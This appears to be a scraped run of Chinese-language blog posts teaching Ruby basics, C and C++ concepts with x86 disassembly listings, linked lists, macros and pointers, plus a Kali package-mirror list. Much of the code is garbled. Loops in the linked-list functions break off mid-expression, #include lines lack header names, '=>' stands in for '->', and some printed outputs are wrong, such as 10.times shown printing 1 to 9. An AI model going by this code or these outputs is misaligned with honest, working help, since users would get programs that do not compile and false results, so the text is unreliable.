And, Or, Not

#boolean clause
puts (true and true)
puts (true and false)
puts (true or false)
puts (not true)

#boolean clause
a = (false and false || true) # 先|| 再and
b = (false and false or true) # 优先级相同 先 and 再or
puts a
puts b

#boolean clause
a = nil
b = a || 4 # 如果a是成立的(不是false和nim) 那么a赋值给b 否则赋值4给b
puts b # => 4
c = b && 5 # 如果b成立那么执行 c = 5
puts c # => 5


#boolean clause
# preference
# and or not 优先级 低于 && || ! =
a = nil
b = a or 4 # or 优先级 低于 = 操作符 所以实际吧a赋值给b 然后 or 4
puts b # => will be nil
c = b && 5 # b是nil 所有 b&&5 不成立 所以 c =nil
puts c #=> will be nil

String,Hash和Array常用方法

# string
a = "hello world"
a.empty? # => false
a[0] = "a" # => aello world
a.freeze
a[0] = "h" # => will raise error
a = "hello" # =>ok, re-assign value


# string
a = "hello world"
a.reverse # => dlrow olleh
# both of these method have ! version
a.sub("o", "A") # =>hellA world
a.gsub("o", "A") # => hellA wArld
a.start_with? "h" # => true
a.end_with? "d" # => true
a.include? "o"

# string
a = "hello world"
b = a.split(" ") # => ["hello", "world"]
b.join(" ") # => hello world

# string
# variable refer
a = "hello world"
b = a # 将字符串的引用地址 或者说指针 给了b
puts b
b[0] = "A"
puts a # => Aello world
puts "-" * 30
a = "hello world"
b = a.dup # what"s the difference with String#clone method? 完整复制， 不是引用了
b[0] = "A"
puts b # => Aello world
puts a # => hello world
#output
hello world
Aello world
------------------------------
Aello world
hello world

# array
a = ["pear", "cat", "horse"]
puts a.join(" ") # 数组中必须都是字符串 才可以用字符连接
a.clear #清空数组
a.find {|x| x == "horse"} #查找匹配到的
a.map {|x| x.upcase} # 迭代执行
a.collect {|x| x.upcase} #map方法的别名
a.uniq #排除多余重复
a.flatten #吧二维或者多维转换以为
a.sort #排序
a.count #元素数量
a.delete_if {|x| x == "horse"} #匹配则删除
a.each {|x| puts x} #遍历

# hash
a = {name: "world", age: 18}
a.each {|key, value| puts key} #遍历
a.keys # 所有key
a.values # 所有value
a.has_key? :name #判断是否有key
a.delete :name #删除key
a.delete_if #匹配则删除

其他

Buildin Methods

Ruby5 其他的奇技淫巧

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Feb 2018 04:01:00 +0000

变量赋值

# 变量交换
a = 1
b = 2
b,a = a,b
puts a
puts b
puts "-" * 30
x = [1, 2, 3]
a, b = x #默认会把数组中的值依次赋值给 a ,b
puts a
puts b
puts "-" * 30
x = [1, 2, 3]
a, *b = x #这里a会接受第一个元素 b用了*号 表示接受剩下所有的元素
puts a
p b
#output
2
1
------------------------------
1
2
------------------------------
1
[2, 3]

Fixnum & Float

# number
puts 1 / 10
puts 1 / 10.0
puts "-" * 30
#output
0.1
------------------------------

String

# string
a = "world"
b = %Q{
 hello
 #{a}
}
# 这里不但可以用 {} 也可以用 ()
# 但是这里的Q必须是大Q 如果是小q的话 就相当于单引号的效果
puts b
puts "-" * 30

Ruby4 Blocks and Exceptions

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Feb 2018 00:06:00 +0000

Block 代码块

Block是一个参数
匿名参数
Callback
使用do/en或者{}来定义

{puts "hello"}

Demo:

# block usage
def hello
 puts "hello method start"
 yield
 yield
 puts "hello method end"
end
hello {puts "i am in block"}
#output
hello method start
i am in block
i am in block
hello method end


# yield with parameter
def hello
 puts "hello method start"
 yield("hello","world")
 puts "hello method end"
end
hello {|x,y| puts "i am in block,#{x} #{y}"}
#output
hello method start
i am in block,hello world
hello method end

# yield with paramter
def hello name
 puts "hello method start"
 result = "hello " + name
 yield(result)
 puts "hello method end"
end
hello("world"){|x| puts "i am in block,i got #{x}"}
#output
hello method start
i am in block,i got hello world
hello method end

# build in methods
["cat", "dog","frog"].each do |animal|
 puts animal
end
puts "-" * 30
["cat","dog","frog"].each{|animal| puts animal}
#output
cat
dog
frog
------------------------------
cat
dog
frog


# build in methods
10.times do |t|
 puts t
end
puts "-" * 30
("a".."d").each { |char| puts char}
#output
1
2
3
4
5
6
7
8
9
------------------------------
a
b
c
d

# varibale scope
# before ruby2.0
x = 1
[1, 2, 3].each { |x| puts x}
puts x # => x will be 3,which is incorrect
#output
1
2
3
1
如果是在ruby2之前的版本 那么外部的变量x会被改变

# varibale scope
# 如果是2.0版本之后 puts x会报错
sum = 0
[1, 2, 3].each { |x| sum += x}
puts sum
# puts x
#output
6

# block return value
class Array
 def find
 each do |value|
 return value if yield (value)
 end
 nil
 end
end
puts [1, 2, 3].find { |x| x == 2 }
#output
2

# block as named parameter
def hello name, &block
 puts "hello #{name}, from method"
 block.call(name)
end
hello("world") {|x| puts "hello #{x} form block"}
#output
hello world, from method
hello world form block

# yield with parameter
def hello
 puts "hello method start"
 yield("hello","world")
 puts "hello method end"
end
hello {|x,y| puts "i am block ,#{x},#{y}"}
#output
hello method start
i am block ,hello,world
hello method end

# block_given?
def hello
 if block_given?
 yield
 else
 puts "hello from method"
 end
end
hello
puts "-" * 30
hello {puts "hello from block"}
#output
hello from method
------------------------------
hello from block

# block can be closure
def counter
 sum = 0
 # 代码库接收了一个参数x 如果x没有定义那么x为1 然后 sum +=x
 proc {|x| x = 1 unless x; sum +=x }
end
c2 = counter
puts c2.call(1) #1
puts c2.call(2)
puts c2.call(3)
# 这里 closure 为闭包
#
#output
1
3
6

# new method to create block
# name is required
hello = -> (name){"hello #{name}"}
puts hello.call("world")
puts "-" * 30
# name is required
hello3 = lambda {|name| "hello #{name}"}
puts hello3.call("world")
puts "-" * 30
hello2 = proc {|name| "hello #{name}"}
puts hello2.call
puts hello2.call("world")
# lambda和proc区别 proc可以不传参数 lambda 更像是一个方法，必须传递参数
#output
hello world
------------------------------
hello world
------------------------------
hello
hello world

Exceptions 异常

All Exception inherited from Exception Class

Ruby3 流程控制

luodaoyi@gmail.com (luodaoyi) — Fri, 16 Feb 2018 22:52:00 +0000

if/else/elsif

1
2
3
4
5
6
7
8
9


a = "hello"
b = false
if a
 p a
elsif b
 p b
else
 p "ok"
end

unless

unless相当于if的反向断言

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


 unless false
 "ok"
 end
 # => "ok"

## if/unless

 a = 1 if a != 1 #如果a不是1 则a复制为1
 b = 2 unless defined?(b) #如果b未定义 那么就定义b赋值为2

## case

 case a
 when 1
 1
 when /hello/
 "hello world"
 when Array
 []
 else
 "ok"
 end

## while

 a = 0
 while a < 100 do
 p a
 a += 1
 end

ruby 没有++和–操作符

Ruby1 数据类型，变量

luodaoyi@gmail.com (luodaoyi) — Fri, 16 Feb 2018 21:55:00 +0000

整数类型: 3,222
小数: 3.14
字符串: hello,world
布尔类型: true(TrueClass),false(FalseClass)
数组: [1,2],["hello","hello world"]
Hash(字典): {"name"=>"luo","age"=>24},{:name=>"daoyi",:age=>24}
Symbol(符号): :a,:hello,:"hello world"
Range: 1..10,1...10(三个点不包括10本身)
正则: /hello/i

String 字符串

1
2
3
4
5


a = "hello" #=> hello
b = "world" #=> world
a.class #=> String
a + " " + b #=> hello world
"#{a} #{b}" #=> hello world

string method

1
2
3


"hello world".length #=>11
"hello world".capitalize #=> Hello world
"hello world".gsub("world","gril").upcase #=> HELLO GIRL

变量赋值

1
2
3
4
5
6


a = "hello" # => hello
a.object_id # => 70353313681980
a.replace("hello2") # => "hello2"
a.object_id # => 70353313681980
a = "hello"
a.object_id # => 70353313549380

当a 使用replace时候仍然是原本的引用地址，所以Object_id不变
但是当a重新赋值为hello 的时候，a的引用地址发生了变化 object_id就改变了

Ruby2 Method and Block

luodaoyi@gmail.com (luodaoyi) — Fri, 16 Feb 2018 21:55:00 +0000

Method(Function)

1
2
3
4
5
6
7
8
9


def hi(name)
 p "hi " + name
end
hi("666") # => "hi 666"
hi "code" #括号省略 => "hi code"
def hello name
 p "hello #{name}"
end
hello "world" # => "hello world"

Method 参数

1
2
3
4
5
6
7
8
9


def hi name="code"
 p "hi " +name
end
hi # => "hi code"
def hi name,age=32
 p "#{name} is #{age}"
end
hi "code" # => "code is 32"
hi "code", 54 # => "code is 54"

Method 返回值

凡有方法都有返回值，方法体最后一行代码的返回值默认会做为方法的返回值，也可以显式的使用return关键字

Cpp7 C++的多态实现 — 虚表

luodaoyi@gmail.com (luodaoyi) — Fri, 16 Feb 2018 14:42:00 +0000

多态的实现原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


#include "stdafx.h"
#include
#include
class A
{
public:
 int x;
 virtual void Test()
 {
 printf("A \n");
 }
protected:
private:
};
class B:public A
{
public:
 int x;
 void Test()
 {
 printf("B \n");
 }
protected:
private:
};
void Fun(A* p)
{
 p->Test();
}
int main(int argc, char* argv[])
{
 A a;
 B b;
 Fun(&b);
 return 0;
}
//我们发现在这里 调用的test函数 是b的 因为fun方法传入的对象是b b继承自a 这里体现了多态
//反编译
31: void Fun(A* p)
32: {
00401050 push ebp
00401051 mov ebp,esp
00401053 sub esp,40h
00401056 push ebx
00401057 push esi
00401058 push edi
00401059 lea edi,[ebp-40h]
0040105C mov ecx,10h
00401061 mov eax,0CCCCCCCCh
00401066 rep stos dword ptr [edi]
33: p->Test();
00401068 mov eax,dword ptr [ebp+8]
0040106B mov edx,dword ptr [eax]
0040106D mov esi,esp
0040106F mov ecx,dword ptr [ebp+8]
00401072 call dword ptr [edx] //间接调用 + 虚表
00401074 cmp esi,esp
00401076 call __chkesp (00401240)
34: }
@ILT+0(?Fun@@YAXPAVA@@@Z):
00401005 jmp Fun (00401050)
@ILT+5(??0B@@QAE@XZ):
0040100A jmp B::B (00401190)
@ILT+10(??0A@@QAE@XZ):
0040100F jmp A::A (00401100)
@ILT+15(?Test@B@@UAEXXZ):
00401014 jmp B::Test (004011f0)
@ILT+20(?Test@A@@UAEXXZ):
00401019 jmp A::Test (00401140)
@ILT+25(_main):
0040101E jmp main (004010a0)

总结：

Cpp6 封装、继承和多态

luodaoyi@gmail.com (luodaoyi) — Sat, 10 Feb 2018 07:40:00 +0000

继承

子类从父类继承成员变量
子类从父类继承成员函数

#include "stdafx.h"
class Person
{
public:
 int Age;
 int Sex;
 void Word()
 {
 printf("Person:Work");
 }
};
class Teacher:public Person
{
public:
 int Level;
};
int main()
{
 Teacher t;
 t.Age = -1; //合法但是不合理
 t.Sex = 2;
 t.Level = 3;
 return 0;
}

实现数据隐藏

为什么要隐藏数据成员

与前面比较，赋值的时候合理不合法，手机的电路板也没有暴露在外面啊
根本的目的是可控

不要造相同的轮子

代码复用的两种体现方式:

kali rolling 国内源

luodaoyi@gmail.com (luodaoyi) — Fri, 02 Feb 2018 02:44:57 +0000

#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

Cpp5 在堆中创建对象和引用类型

luodaoyi@gmail.com (luodaoyi) — Tue, 30 Jan 2018 14:51:00 +0000

我们可以在什么地方创建对象?

全局变量区

Person p;
栈

void Max() { Person p; }
堆 new 和 delete

//在堆中创建对象： Person* p = new Person(); //释放对象占用的内存 delete p;

在堆中创建对象: new``delete

在C语言中我们使用malloc申请堆空间
使用完毕后使用free释放空间
C++：

class Person
{
private:
 int x;
 int y;
public:
 Person()
 {
 printf("Person()执行了！ \n");
 }
 Person(int x,int y)
 {
 printf("Person(int x,int y)执行了！ \n");
 this->x=x;
 this->y=y;
 }
 ~Person()
 {
 printf("~Person() 执行了！ \n");
 }
};
Person* p =new Person();
Person* p1=new Person(1,2);
delete p;
delete p1;
//反汇编
33: Person* p =new Person();
00401070 push 8
00401072 call operator new (004013c0)
00401077 add esp,4
0040107A mov dword ptr [ebp-1Ch],eax
0040107D mov dword ptr [ebp-4],0
00401084 cmp dword ptr [ebp-1Ch],0
00401088 je main+57h (00401097)
0040108A mov ecx,dword ptr [ebp-1Ch]
0040108D call @ILT+20(Person::Person) (00401019)
00401092 mov dword ptr [ebp-38h],eax
00401095 jmp main+5Eh (0040109e)
00401097 mov dword ptr [ebp-38h],0
0040109E mov eax,dword ptr [ebp-38h]
004010A1 mov dword ptr [ebp-18h],eax
004010A4 mov dword ptr [ebp-4],0FFFFFFFFh
004010AB mov ecx,dword ptr [ebp-18h]
004010AE mov dword ptr [ebp-10h],ecx
34: Person* p1=new Person(1,2);
004010B1 push 8
004010B3 call operator new (004013c0)
004010B8 add esp,4
004010BB mov dword ptr [ebp-24h],eax
004010BE mov dword ptr [ebp-4],1
004010C5 cmp dword ptr [ebp-24h],0
004010C9 je main+9Ch (004010dc)
004010CB push 2
004010CD push 1
004010CF mov ecx,dword ptr [ebp-24h]
004010D2 call @ILT+0(Person::Person) (00401005)
004010D7 mov dword ptr [ebp-3Ch],eax
004010DA jmp main+0A3h (004010e3)
004010DC mov dword ptr [ebp-3Ch],0
004010E3 mov edx,dword ptr [ebp-3Ch]
004010E6 mov dword ptr [ebp-20h],edx
004010E9 mov dword ptr [ebp-4],0FFFFFFFFh
004010F0 mov eax,dword ptr [ebp-20h]
004010F3 mov dword ptr [ebp-14h],eax
35: delete p;
004010F6 mov ecx,dword ptr [ebp-10h]
004010F9 mov dword ptr [ebp-2Ch],ecx
004010FC mov edx,dword ptr [ebp-2Ch]
004010FF mov dword ptr [ebp-28h],edx
00401102 cmp dword ptr [ebp-28h],0
00401106 je main+0D7h (00401117)
00401108 push 1
0040110A mov ecx,dword ptr [ebp-28h]
0040110D call @ILT+15(Person::`scalar deleting destructor") (00401014)
00401112 mov dword ptr [ebp-40h],eax
00401115 jmp main+0DEh (0040111e)
00401117 mov dword ptr [ebp-40h],0
36: delete p1;
0040111E mov eax,dword ptr [ebp-14h]
00401121 mov dword ptr [ebp-34h],eax
00401124 mov ecx,dword ptr [ebp-34h]
00401127 mov dword ptr [ebp-30h],ecx
0040112A cmp dword ptr [ebp-30h],0
0040112E je main+0FFh (0040113f)
00401130 push 1
00401132 mov ecx,dword ptr [ebp-30h]
00401135 call @ILT+15(Person::`scalar deleting destructor") (00401014)
0040113A mov dword ptr [ebp-44h],eax
0040113D jmp main+106h (00401146)
0040113F mov dword ptr [ebp-44h],0

new关键字到底做了什么？

Cpp4 类成员的访问控制

luodaoyi@gmail.com (luodaoyi) — Tue, 30 Jan 2018 14:02:00 +0000

好的编程习惯 -定义和实现分开

代码会有更好的可读性
但不是必须的

在头文件中只留下声明代码

Test.h

struct sclass
{
 int x;
 int y;
 int Bigger(int x,int y);
 int Max(int x,int y,int z);
};

Test.cpp

int sclass::Bigger(int x,int y)
{
 if(x>y)
 {
 return x;
 }
 else
 {
 return y;
 }
}
int sclass::Max(int x,int y,int z)
{
 return Bigger(Bigger(x,y),z);
}

使用:
main.cpp

#include "Test.h"
#include
#include
int main(int argc,char* arhv[])
{
 sclass s;
 return 0;
}

上面的实现方式没有问题，但是其实我们的Bigger函数是为了实现MAX函数存在的，换句话说我们不想让外部用户去调用Bigger函数，为了实现这一目的我们该怎么办呢？C++的语法允许我们控制类成员的访问权限

Cpp3 继承

luodaoyi@gmail.com (luodaoyi) — Sun, 28 Jan 2018 06:53:00 +0000

什么是继承

struct Person 
{ 
  int age; 
  int sex; 
};
struct Teacher 
{ 
  int age; 
  int sex; 
  int level; 
  int classId; 
};
struct Teacher:Person 
{ 
  int level; 
  int classId; 
};

总结：

1、什么是继承？
继承就是数据的复制
2、为什么要用继承？
减少重复代码的编写
3、Person 称为父类或者基类

4、Teacher称为子类或者派生类

继承不仅仅局限于父类

struct X 
{ 
  int a;
  int b;
}; 
struct Y:X 
{ 
  int c;
  int d;
}; 
struct Z:Y      //Z的成员只继承c d吗？
{ 
  int e;
  int f;
};

内存布局

Cpp2 构造函数和析构函数

luodaoyi@gmail.com (luodaoyi) — Sun, 28 Jan 2018 05:53:00 +0000

什么是构造函数

#include "stdafx.h"
#include
struct Sclass {
 int a;
 int b;
 int c;
 int d;
 Sclass()//构造函数
 {
 printf("观察这个函数 \n");
 }
 Sclass(int a,int b,int c,int d)//构造函数
 {
 this->a=a;
 this->b=b;
 this->c=c;
 this->d=d;
 printf("观察这个函数 2\n");
 }
 int Plus()
 {
 return a+b+c+d;
 }
};
int main(int argc, char* argv[])
{
 Sclass s;
 Sclass s2(1,2,3,4);
 return 0;
}
//反汇编:
Sclass s;
0040D408 lea ecx,[ebp-10h]
0040D40B call @ILT+5(Sclass::Sclass) (0040100a)
Sclass s2(1,2,3,4);
0040D770 push 4
0040D772 push 3
0040D774 push 2
0040D776 push 1
0040D778 lea ecx,[ebp-20h]
0040D77B call @ILT+10(Sclass::Sclass) (0040100f)
//观察发现，分配一个对象，构造函数 方法直接就会被调用

总结特点:

C语言23 终极篇预处理之宏定义、条件编译和文件包含

luodaoyi@gmail.com (luodaoyi) — Sat, 27 Jan 2018 10:41:00 +0000

什么是预处理

预处理一般是指在程序源代码被转换为二进制代码之前，由预处理器对程序源代码文本进行处理，处理后的结果再由编译器进一步编译。

预处理功能主要包括宏定义,文件包含,条件编译三部分

宏定义

简单宏: `#define 标识符字符序列`

#define FALSE 0
#define NAME "LUODAOYI"
#define __IN
#define __OUT
//极端例子
#define NAME "LUODAOYI"
#define A int method() {
#define B char buffer[0x10];
#define C strcpy(buffer,NAME);
#define D return 0;}
#define E method();
//使用
A
B
C
D
int main()
{
 E
 return 0;
}

带参数的宏 `#define 标识符(参数表) 字符序列`

#define MAX(A,B)((A)>(B)?(A):(B))
int method()
{
 int x = 1;
 int y = 2;
 int z = MAX(x,y);
 return 0;
}
// 多行定义 // "\" 后不可有空格

链表

luodaoyi@gmail.com (luodaoyi) — Thu, 25 Jan 2018 20:57:00 +0000

实现思想 :通过指针把要元素串起来

简单结构图

struct Student
{
 char name[10];
 int score;
}
struct Node
{
 Student Element;
 Node* next;
}

每一个节点包含此节点信息和下一个节点的指针

有点：插入删除方便
缺点：查找麻烦

基本元素实现

//方法/函数
int InitList();//初始化链表
int IsEmpty(); //判断链表是否为空 空返回1 非空0
void Clear(Node* p); //清空链表
ini Find(int Index,Student* element); //根据索引获取元素
int Insert(int Index,Student* Element);//根据索引新增元素
int Delete(int Index,Student* Element);//根据索引删除元素
int GetSize();//获取链表中元素的数量
//属性/变量
Node* m_pHead; //链表头指针，指向第一个节点
Node* m_pEnd; //链表尾指针，指向最后一个节点
int m_dwLength; //元素的数量

链表简单实现

// _20180125.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include
#include
struct Student
{
 char name[10];
 int id;
 int achievement;
};
struct Node
{
 Student Element;
 Node* next;
};
//初始化链表
Node* InitList()
{
 int len;
 printf("输入链表长度 \n");
 scanf("%d",&len);
 Node* pHead = (Node*)malloc(sizeof(Node));
 pHead->next=NULL;
 Node* pEnd = pHead ;//pEnd 永远指向尾节点的指针
 for (int i =0;iElement.name));
 printf("\n输入学生id:");
 scanf("%d",&(pNew->Element.id));
 printf("\n输入学生成绩");
 scanf("%d",&(pNew->Element.achievement));
 pNew->next=NULL;
 pEnd->next=pNew;//从把之前的最后一个元素的next指向刚才新建的元素
 pEnd=pNew;//重新把pEnd赋值为最后一个元素
 }
 return pHead;
}
//判断链表是否为空 空返回1 非空0
int IsEmpty(Node* pHead)
{
 if(NULL==pHead->next)
 {
 return 1;
 }
 else
 {
 return 0;
 }
}
 //清空链表
void Clear(Node* pHead)
{
 if(NULL!=pHead->next){
 Clear(pHead->next);
 }
 free(pHead);
}
//根据索引获取元素
Student* Find(Node* pHead,int Index)
{
 Node* pTmp=pHead->next;
 for (int i=0;inext)
 {
 printf("插入位置不合法\n");
 return NULL;
 }
 pTmp=pTmp->next;
 }
 return &(pTmp->Element);
}
//根据索引新增元素
int Insert(Node* pHead,int Index,Student* Element)
{
 Node* pTmp = pHead->next;
 Node* pNext;
 for (int i=0;inext)
 {
 printf("插入位置不合法\n");
 return 0;
 }
 pTmp=pTmp->next;
 }
 pNext = pTmp->next;
 //插入新元素
 Node* pNew = (Node*)malloc(sizeof(Node));
 strcpy(pNew->Element.name,Element->name);
 pNew->Element.id=Element->id;
 pNew->Element.achievement=Element->achievement;
 pNew->next=pNext;
 pTmp->next=pNew;
 return 1;
}
//根据索引删除元素
int Delete(Node* pHead,int Index,Student* Element)
{
 Node* pTmp = pHead->next;
 Node* pDel;
 for (int i =0;inext)
 {
 printf("删除位置不合法\n");
 return 0;
 }
 pTmp=pTmp->next;
 }
 //此时 pTmp是上一个节点
 pDel = pTmp->next; //这里是要删除的节点
 pTmp->next=pDel->next;
 free(pDel);
 return 1;
}
//获取链表中元素的数量
int GetSize(Node* pHead)
{
 int num =0;
 Node* pTmp = pHead->next;
 while (pTmp!=NULL)
 {
 num++;
 pTmp=pTmp->next;
 }
 return num;
}
int main(int argc, char* argv[])
{
 Node* pHead= InitList();
 Student* s ;
 if(IsEmpty(pHead))
 {
 printf("链表为空");
 }
 int length = GetSize(pHead);
 printf("链表长度 %d",length);
 s =Find(pHead,1);
 Insert(pHead,2,s);
 Clear(pHead);
 s=NULL;
 pHead=NULL;
 return 0;
}

Cpp1 封装和this指针

luodaoyi@gmail.com (luodaoyi) — Sun, 21 Jan 2018 15:00:00 +0000

封装

C语言和C++语言的区别

C++是对C的补充扩展，C原有的语法C++都支持，并在此基础上扩展了一些新的语法：
继承、封装、多态、模板等等

结构体可以作为参数传递吗

struct Student
{
 int a;
 int b;
 int c;
 int d;
}
//分析这个函数是如何传递参数的
int Plus(student s)
{
 return s.a+s.b+s.c+s.d;
}
23: Student s = {1,2,3,4};
00401078 mov dword ptr [ebp-10h],1
0040107F mov dword ptr [ebp-0Ch],2
00401086 mov dword ptr [ebp-8],3
0040108D mov dword ptr [ebp-4],4
24: Plus(s);
00401094 sub esp,10h
00401097 mov eax,esp
00401099 mov ecx,dword ptr [ebp-10h]
0040109C mov dword ptr [eax],ecx
0040109E mov edx,dword ptr [ebp-0Ch]
004010A1 mov dword ptr [eax+4],edx
004010A4 mov ecx,dword ptr [ebp-8]
004010A7 mov dword ptr [eax+8],ecx
004010AA mov edx,dword ptr [ebp-4]
004010AD mov dword ptr [eax+0Ch],edx
004010B0 call @ILT+5(Plus) (0040100a)
004010B5 add esp,10h
16: int Plus(Student s)
17: {
00401020 push ebp
00401021 mov ebp,esp
00401023 sub esp,40h
00401026 push ebx
00401027 push esi
00401028 push edi
00401029 lea edi,[ebp-40h]
0040102C mov ecx,10h
00401031 mov eax,0CCCCCCCCh
00401036 rep stos dword ptr [edi]
18: return s.a+s.b+s.c+s.d;
00401038 mov eax,dword ptr [ebp+8]
0040103B add eax,dword ptr [ebp+0Ch]
0040103E add eax,dword ptr [ebp+10h]
00401041 add eax,dword ptr [ebp+14h]
19: }
//经过观察我们可以发现，结构体参数是通过复制结构体传递参数的

将函数写到结构体里面，观察反汇编

struct Student
{
 int a;
 int b;
 int c;
 int d;
 int Plus()
 {
 return a+b+c+d;
 }
};
int main()
{
 Student s = {1,2,3,4};
 s.Plus();
 return 0;
}
14: int Plus()
15: {
00401060 push ebp
00401061 mov ebp,esp
00401063 sub esp,44h
00401066 push ebx
00401067 push esi
00401068 push edi
00401069 push ecx
0040106A lea edi,[ebp-44h]
0040106D mov ecx,11h
00401072 mov eax,0CCCCCCCCh
00401077 rep stos dword ptr [edi]
00401079 pop ecx
0040107A mov dword ptr [ebp-4],ecx
16: return a+b+c+d;
0040107D mov eax,dword ptr [ebp-4]
00401080 mov eax,dword ptr [eax]
00401082 mov ecx,dword ptr [ebp-4]
00401085 add eax,dword ptr [ecx+4]
00401088 mov edx,dword ptr [ebp-4]
0040108B add eax,dword ptr [edx+8]
0040108E mov ecx,dword ptr [ebp-4]
00401091 add eax,dword ptr [ecx+0Ch]
17: }
22: Student s = {1,2,3,4};
0040D4F8 mov dword ptr [ebp-10h],1
0040D4FF mov dword ptr [ebp-0Ch],2
0040D506 mov dword ptr [ebp-8],3
0040D50D mov dword ptr [ebp-4],4
23: s.Plus();
0040D514 lea ecx,[ebp-10h]
0040D517 call @ILT+10(Student::Plus) (0040100f)
24: return 0;
0040D51C xor eax,eax
//我们可以发现此时结构体是通过指针传参数。
//跟使用定义为指针的外部方法一样的调用方式和处理方式

观察结构体的大小:

struct Student
{
 int a;
 int b;
 int c;
 int d;
 int Plus()
 {
 return a+b+c+d;
 }
};
int main()
{
 Student s = {1,2,3,4};
 s.Plus();
 return 0;
}
//对比
struct Student
{
 int a;
 int b;
 int c;
 int d;
};
 int Plus(Student* s)
 {
 return s=>a+s=>b+s->c+s->d;
 }
int main()
{
 Student s = {1,2,3,4};
 Plus(&s);
 return 0;
}
//我们发现上述两种定义方式基本一样

结论：

C语言22 调用约定和函数指针

luodaoyi@gmail.com (luodaoyi) — Sat, 20 Jan 2018 14:12:00 +0000

函数调用约定

就是告诉编译器：怎么传递参数，怎么传递返回值，怎么平衡堆栈

int method(int x,int y)
{
 return x+y;
}
//调用
method(1,2);

常见的几种调用约定:

调用约定	参数压栈顺序	平衡堆栈
__cdecl	从右至左入栈	调用者清理栈
__stdcall	从右至左入栈	自身清理堆栈
__fastcall	ECX/EDX 传送前两个，剩下：从右至左入栈	自身清理堆栈

int __stdcall method(int x,int y)
{
 return x+y;
}
//调用
method(1,2);
//观察反汇编堆栈变化

PS:一般情况下自带库默认使用 __stdcall 我们写的代码默认使用 __cdecl

C语言21 指针数组与数组指针

luodaoyi@gmail.com (luodaoyi) — Thu, 18 Jan 2018 13:18:00 +0000

指针数组的定义

char arr[10]; //10 char
char* arr[10]; //10 指针(char*)
Point* arr[10]; //10 指针(Point*)
int******** arr[10];

指针数组的赋值

char* a = "Hello";
char* b = "World";
//方式1:
char* arr[2]= {a,b};
//方式2:
char* arr[2];
arr[0]=a;
arr[1]=b;

结构体指针数组

struct Point
{
 int x;
 int y;
}
Point p; //8字节 一个结构体
Point arr[10]; //8字节 * 10 结构体数组
Point* arrPoint[10]; //4字节 * 10 结构体指针数组

分析下面的代码

int arr[] = {1,2,3,4,5,6,7,8,9,0};
int* p =&arr[0]; //数组首个元素地址
int* p = arr; //数组首个元素地址 跟上面的表达方式是一样的 也可以说是简写形式
int* p =&arr; //什么情况？ --编译失败 (int(*)[10] 类型 不可以转换为 int* 类型)
//我们使用显式声明类型来躲避编译器检查
int* x = (int*)&arr;
//我们编译后发现 此时的x 值和上面的p值是一样的
//那么区别是什么呢
//当我们使用&arr 获得的类型就是 int(*)[10] 类型 也就是数组指针类型

数组指针的定义

//定义数组指针的写法
int(*px)[5];//一维数组指针 px 这里就是当前指针的名字
char(*px)[3]; //px 就是指针的名字
int(*px)[2][2]; //二维数组指针 px 就是指针的名字
char(*px)[3][3][3]; //三维数组指针 px 就是指针的名字
//思考：
//int *p[5] 与 int(*p)[5] 有什么区别?

数组指针的宽度与赋值

int(*px1)p[5]; //一维数组指针
char(*px2)[3];
int(*px3)[2][2]; //二维数组指针
char(*px4)[3][3][3]; //三维数组指针
printf("%d %d %d %d\n",sizeof(px1),sizeof(px2),sizeof(px3),sizeof(px4));
// 4 4 4 4
px1 = (int (*)[5])1;
px2 = (char (*)[3])2;
px3 = (int (*)[2][2])3;
px4 = (char (*)[3][3][3])4;

数组指针的运算

int(*px1)p[5]; //一维数组指针
char(*px2)[3];
int(*px3)[2][2]; //二维数组指针
char(*px4)[3][3][3]; //三维数组指针
px1 = (int (*)[5])1;
px2 = (char (*)[3])1;
px3 = (int (*)[2][2])1;
px4 = (char (*)[3][3][3])1;
px1++; //int(4) *5 +20 =21
px2++; //char(1) *3 +3 =4
px3++; //int(4) *2 *2 +16 =17
px4++; //char(1) *3 *3 *3 +9 =10
printf("%d %d %d %d \n",px1,px2,px3,px4);

数组指针的使用

//第一种：
int arr[] = {1,2,3,4,5,6,7,8,9,0}
int(*px)[10]=&arr
//*px 是啥类型？ => int[10] 数组类型
//px[0] 等价于 *px 所以 *px 也等于 int[10]数组
printf("%d %d \n",(*px)[0],px[0][0]);
px++; //后 (*px)[0]就访问整个数组地址后的地址内的数据
//第二种：
int arr[3][3] = {
 {1,2,3},
 {4,5,6},
 {7,8,9}
};
//此时的 px指针 指向的 {1,2,3}这个数组的首地址
int(*px)[3] = &arr[0];
// *px -> 此时就是数组{1,2,3}本身
//越过第一个数组 此时px指针指向 {4，5，6}的首地址
px++;
printf("%d %d \n",(*px)[0],px[0][0]);
//这里打印的就是 4 4

二维数组指针可以访问一维数组吗？

int arr[] = {1,2,3,4,5,6,7,8,9,0};
int(*px)[2][2] = (int(*)[2][2])arr;
//思考:
// *px 是什么类型
//int[2][2] 二维数组
//(*px)[1][1]的值是什么？ px[0][1][1]的值是什么
//4

C语言20 结构体指针

luodaoyi@gmail.com (luodaoyi) — Wed, 17 Jan 2018 15:38:00 +0000

探测结构体指针的特性

struct Point
{
 int x;
 int y;
}

++、–
加法与减法
指针相减

使用结构体指针

//创建结构体
Point p;
p.x=10;
p.y=20;
//声明结构体指针
Point* ps;
//为结构体指针赋值
ps = &p;
//通过指针读取数据
printf("%d \n",ps->x);
//通过指针修改数据
ps->y=100;
printf("%d\n",ps=>y);

结构体指针一定要指向结构体吗？

struct Point
{
 int x;
 int y;
}
int arr[10]={1,2,3,4,5,6,7,8,9,10}
